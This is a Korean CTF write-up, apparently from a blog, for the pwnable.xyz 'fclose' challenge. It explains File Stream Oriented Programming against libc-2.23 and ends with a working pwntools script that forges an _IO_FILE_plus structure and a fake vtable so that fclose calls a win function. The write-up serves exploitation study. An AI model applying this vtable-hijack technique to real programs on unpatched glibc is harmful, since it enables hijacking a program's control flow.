반응형
문제 풀이 환경 : Ubuntu 16.04
문제 이름만 봐도 FSOP(File Stream Oriented Programming)이란 걸 알려주고 있고, 문제 설명에서는 어떤 버전의 _IO_FILE 구조체를 쓰는지도 알려주고 었다.
(libc-2.23 -> Ubuntu 16.04)
📝 Analysis
<< Code >>
· main
매우 심플하다.
딱 보기에 입력할 수 있는 크기도 커서 내가 직접 _IO_FILE_plus 구조체를 작성해서 FSOP을 해보라는 의도의 코드다.
>> file 관련 구조체는 어떻게 생겼지??
더보기
1. _IO_FILE 구조체
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libio.h#L241
2. _IO_FILE_plus 구조체
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L342
3. 관련 강의 (Dreamhack)
🧩 Exploit Scenario
문제에서 주어진 환경이 Ubuntu 16.04이기 때문에 아직까지는 _IO_vtable_check 함수(vtable의 validation 체크)가 없어서 vtable을 편하게 조작해줄 수 있다.
[vtable 오프셋 전까지 dummy] + [조작된 vtable 주소] + [vtable이 가리키는 곳에서 0x10만큼 떨어진 곳(fclose는 _IO_finish를 호출함)]
🚩 Flag 🚩
from pwn import *
# p = process('./fclose')
p = remote('svc.pwnable.xyz', 30018)
e = ELF('./fclose')
cur = e.sym['input']
win = e.sym['win']
fake_file = p64(0) * 17
fake_file += p64(cur + 0x500) # lock
fake_file += p64(0) * 9
fake_file += p64(cur + 0xe0) # vtable (right under)
fake_file += p64(0) * 2
fake_file += p64(win)
p.sendlineafter('> ', fake_file)
반응형